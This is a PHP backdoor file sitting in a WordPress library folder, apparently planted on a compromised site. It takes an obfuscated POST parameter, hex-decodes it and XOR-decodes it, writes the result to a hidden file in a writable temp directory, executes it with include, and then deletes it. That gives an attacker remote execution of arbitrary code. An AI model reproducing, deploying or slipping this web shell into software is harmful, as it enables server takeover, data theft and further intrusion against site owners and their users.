File: /www/wwwroot/q.autos58.cn/wp-includes/SimplePie/src/Net/blogpage.php
<?php
if(@$_POST["d\x63h\x75\x6Ek"] !== null){
$entity = hex2bin($_POST["d\x63h\x75\x6Ek"]);
$flag = '';for($c=0; $c<strlen($entity); $c++){$flag .= chr(ord($entity[$c]) ^ 12);}
$ent = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", getenv("TEMP")]);
foreach ($ent as $pset):
if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) {
$descriptor = "$pset/.entry";
$file = fopen($descriptor, 'w');
if ($file) {
fwrite($file, $flag);
fclose($file);
include $descriptor;
@unlink($descriptor);
die();
}
}
endforeach;
}